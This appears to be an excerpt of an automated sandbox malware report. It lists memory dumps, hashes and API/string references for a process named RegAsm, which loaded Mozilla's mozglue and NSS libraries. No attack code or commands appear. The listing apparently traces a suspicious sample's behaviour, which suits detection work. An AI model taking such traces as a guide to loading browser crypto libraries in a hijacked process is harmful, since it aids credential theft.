Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6C155440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C155492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C1554A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C1554BE
__Init_thread_footer.LIBCMT ref: 6C1554DB

Part of subcall function 6C17AB3F: EnterCriticalSection.KERNEL32(6C1CE370,?,?,6C143527,6C1CF6CC,?,?,?,?,?,?,?,?,6C143284), ref: 6C17AB49
Part of subcall function 6C17AB3F: LeaveCriticalSection.KERNEL32(6C1CE370,?,6C143527,6C1CF6CC,?,?,?,?,?,?,?,?,6C143284,?,?,6C1656F6), ref: 6C17AB7C

Part of subcall function 6C17CBE8: GetCurrentProcess.KERNEL32(?,6C1431A7), ref: 6C17CBF1
Part of subcall function 6C17CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1431A7), ref: 6C17CBFA

GetCurrentThreadId.KERNEL32 ref: 6C1554F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C155516
GetCurrentThreadId.KERNEL32 ref: 6C15556A
AcquireSRWLockExclusive.KERNEL32(6C1CF4B8), ref: 6C155577
moz_xmalloc.MOZGLUE(00000070), ref: 6C155585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C155590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C1555E6
ReleaseSRWLockExclusive.KERNEL32(6C1CF4B8), ref: 6C155606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C155616

Part of subcall function 6C17AB89: EnterCriticalSection.KERNEL32(6C1CE370,?,?,?,6C1434DE,6C1CF6CC,?,?,?,?,?,?,?,6C143284), ref: 6C17AB94
Part of subcall function 6C17AB89: LeaveCriticalSection.KERNEL32(6C1CE370,?,6C1434DE,6C1CF6CC,?,?,?,?,?,?,?,6C143284,?,?,6C1656F6), ref: 6C17ABD1

GetCurrentThreadId.KERNEL32 ref: 6C15563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C155646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C15567C
free.MOZGLUE(?), ref: 6C1556AE

Part of subcall function 6C165E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C165EDB
Part of subcall function 6C165E90: memset.VCRUNTIME140(6C1A7765,000000E5,55CCCCCC), ref: 6C165F27
Part of subcall function 6C165E90: LeaveCriticalSection.KERNEL32(?), ref: 6C165FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C1556E8
GetCurrentThreadId.KERNEL32 ref: 6C155707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C15570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C155729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C15574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C15576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C155796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C1557B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C1557CA

Strings

- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C155D1C
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C1554B9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C15548D
MOZ_BASE_PROFILER_HELP, xrefs: 6C155511
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C155D24
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C155766
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C1557AE
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C155CF9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C155D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C155749
GeckoMain, xrefs: 6C155554, 6C1555D5
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C155C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C15584E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C155BBE
MOZ_PROFILER_STARTUP, xrefs: 6C1555E1
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C155724
[I %d/%d] profiler_init, xrefs: 6C15564E
g/, xrefs: 6C154C0F, 6C15544F
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C155717
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C1556E3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C155791
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C155B38
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C1557C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C155AC9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C1554A3
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C155D2B

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: g/$- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-3498535981
Opcode ID: 9c3be01829bcdb08c40fbe03ccdfb91a159e69df83d89d753f66a912c0d6527b
Instruction ID: 2001d68a70e04287d36c58829bcedc6dbf2a5c4a433b1b633de06e070bbe33c4
Opcode Fuzzy Hash: 9c3be01829bcdb08c40fbe03ccdfb91a159e69df83d89d753f66a912c0d6527b
Instruction Fuzzy Hash: 682233F5A083408FEB009F74C46836A7BB5AF5634CF90452AF86697B41EB38C965CB53

Function 6C156C80 Relevance: 97.0, APIs: 50, Strings: 5, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C156CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C156D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C156D26

Part of subcall function 6C15CA10: malloc.MOZGLUE(?), ref: 6C15CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C156D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C156D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C156D73
free.MOZGLUE(00000000), ref: 6C156D80
CertGetNameStringW.CRYPT32 ref: 6C156DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C156DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C156DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C156DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C156E10
CryptMsgClose.CRYPT32(00000000), ref: 6C156E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C156E34
CreateFileW.KERNEL32 ref: 6C156EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C156F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C156F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C15709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C157103
free.MOZGLUE(00000000), ref: 6C157153
CloseHandle.KERNEL32(?), ref: 6C157176
__Init_thread_footer.LIBCMT ref: 6C157209
__Init_thread_footer.LIBCMT ref: 6C15723A
__Init_thread_footer.LIBCMT ref: 6C15726B
__Init_thread_footer.LIBCMT ref: 6C15729C
__Init_thread_footer.LIBCMT ref: 6C1572DC
__Init_thread_footer.LIBCMT ref: 6C15730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C1573C2
VerSetConditionMask.NTDLL ref: 6C1573F3
VerSetConditionMask.NTDLL ref: 6C1573FF
VerSetConditionMask.NTDLL ref: 6C157406
VerSetConditionMask.NTDLL ref: 6C15740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C15741A
moz_xmalloc.MOZGLUE(?), ref: 6C15755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C157568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C157585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C157598
free.MOZGLUE(00000000), ref: 6C1575AC

Part of subcall function 6C17AB89: EnterCriticalSection.KERNEL32(6C1CE370,?,?,?,6C1434DE,6C1CF6CC,?,?,?,?,?,?,?,6C143284), ref: 6C17AB94
Part of subcall function 6C17AB89: LeaveCriticalSection.KERNEL32(6C1CE370,?,6C1434DE,6C1CF6CC,?,?,?,?,?,?,?,6C143284,?,?,6C1656F6), ref: 6C17ABD1

Strings

g/, xrefs: 6C156C8F
SHA256, xrefs: 6C156EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C1572C8
(, xrefs: 6C15768A
wintrust.dll, xrefs: 6C1572CD

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: g/$($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3684287096
Opcode ID: d599b95bbf578014edb9d15d7ae959745a015586f62d3dc2873ce09e5af079e6
Instruction ID: 5e276570f0c70371a83a35bee1e166cd4c1d145f09a4d3055ae8f997421b0e16
Opcode Fuzzy Hash: d599b95bbf578014edb9d15d7ae959745a015586f62d3dc2873ce09e5af079e6
Instruction Fuzzy Hash: 2352F8B1A013149FEB21DF24CC85BAA77B8EF56708F108199F82997640DB74AF94CF91

Function 6C1A34A0 Relevance: 62.7, APIs: 33, Strings: 2, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A3EE2

Part of subcall function 6C1A6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C1A61DD
Part of subcall function 6C1A6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C1A622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A4157

Part of subcall function 6C1A6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C1A6250
Part of subcall function 6C1A6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C1A6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1A4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C1A484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C1A4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C1A4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C1A4896
free.MOZGLUE ref: 6C1A489F

Strings

g/, xrefs: 6C1A34DB
, xrefs: 6C1A4CD2

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID: g/$
API String ID: 3842999660-1540958165
Opcode ID: 7708b5a064277fdd30f1e86f32b10dab343c319f273383e9c63f342a6a727dfe
Instruction ID: 2c2294b9397f147cfee5a4e4cb62a8604295655eeca501e7e86e7d3ff8242a42
Opcode Fuzzy Hash: 7708b5a064277fdd30f1e86f32b10dab343c319f273383e9c63f342a6a727dfe
Instruction Fuzzy Hash: 9AF23A74908B80CFC725CF28C08469AFBF1BFDA354F118A5EE99997711DB319896CB42

Function 6C286D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C38A8EC,0000006C), ref: 6C286DC6
memcpy.VCRUNTIME140(?,6C38A958,0000006C), ref: 6C286DDB
memcpy.VCRUNTIME140(?,6C38A9C4,00000078), ref: 6C286DF1
memcpy.VCRUNTIME140(?,6C38AA3C,0000006C), ref: 6C286E06
memcpy.VCRUNTIME140(?,6C38AAA8,00000060), ref: 6C286E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C286E38

Part of subcall function 6C30C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C30C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C286E76
TlsGetValue.KERNEL32 ref: 6C28726F
EnterCriticalSection.KERNEL32(?), ref: 6C287283

Strings

!, xrefs: 6C287123

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: e1facdb2f0bf5205ba54db2c87c2ad3a721e2a0f03add74831044905e83e5bd7
Instruction ID: e9eebe8aa75bfaddb123c691f9c3b0088701bb172c3e4042070af06cd35fc270
Opcode Fuzzy Hash: e1facdb2f0bf5205ba54db2c87c2ad3a721e2a0f03add74831044905e83e5bd7
Instruction Fuzzy Hash: B2729375E062199FDF20DF28CC88B9ABBB5AF48304F1441A9EC0DA7741D7359A89CF91

Function 6C2CAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C2CACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C2CACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C2CACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C2CAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C2CADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C2CADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C2CADF0

Part of subcall function 6C30C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C30C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C2CB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C2CB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C2CB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C2CB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C2CB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C2CB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C2CB40C

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: b241cb0d7301269095b54d4d4726fca3816816338051bdc7eef0a3b3338024f0
Instruction ID: d53364d960a489bb9521e2cef879e671bc39ea550d204f1f7fe71f84d637cdbf
Opcode Fuzzy Hash: b241cb0d7301269095b54d4d4726fca3816816338051bdc7eef0a3b3338024f0
Instruction Fuzzy Hash: 0622AF71A04305AFE750CF14CC45B9A77A1AF8430CF248668FC595B7A2EB72E859CB93

Function 6C1AC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C1AC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C1AC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C1AC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C1AC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C1AC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C1ACC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C1ACD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C1ADB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C1ADB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C1ADB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C1ADD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C1ADE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C1AE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C1AE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C1AE472

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: b2ac7abc3a77aac18763e9361fdb4725af34621718a07e0b76d101ed9e050a29
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: B633EF75E0021ACFCB04CFA8C8906EDBBF2FF49300F298269D955AB755D735A946CB90

Function 6C24ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C24ED38

Part of subcall function 6C1E4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1E4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C24EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C24EFE4

Part of subcall function 6C30DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C1E5001,?,00000003,00000000), ref: 6C30DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C24F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C24F129
sqlite3_mprintf.NSS3(optimize), ref: 6C24F1D1
sqlite3_free.NSS3(?), ref: 6C24F368

Strings

unicode61, xrefs: 6C24EDB5
fts3_tokenizer, xrefs: 6C24EE1A, 6C24EEA8
snippet, xrefs: 6C24EF05, 6C24EF37, 6C24EF7C
simple, xrefs: 6C24ED79
fts4aux, xrefs: 6C24ECF9
fts4, xrefs: 6C24F2AD
fts3, xrefs: 6C24F247
fts3tokenize, xrefs: 6C24F30F
matchinfo, xrefs: 6C24F04F, 6C24F082, 6C24F0C2, 6C24F0F2, 6C24F124, 6C24F169
porter, xrefs: 6C24ED97
offsets, xrefs: 6C24EFAF, 6C24EFDF, 6C24F01F
optimize, xrefs: 6C24F199, 6C24F1CC, 6C24F211

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 43750793f79b2c4406db2e638fa89fb9ecb6dbd2c8cf26e5d0ef9362317c1b3d
Instruction ID: 5a7003716b256919ec70b4b799d866f0b5040dfce73ca9cebcf310e17ad9fc47
Opcode Fuzzy Hash: 43750793f79b2c4406db2e638fa89fb9ecb6dbd2c8cf26e5d0ef9362317c1b3d
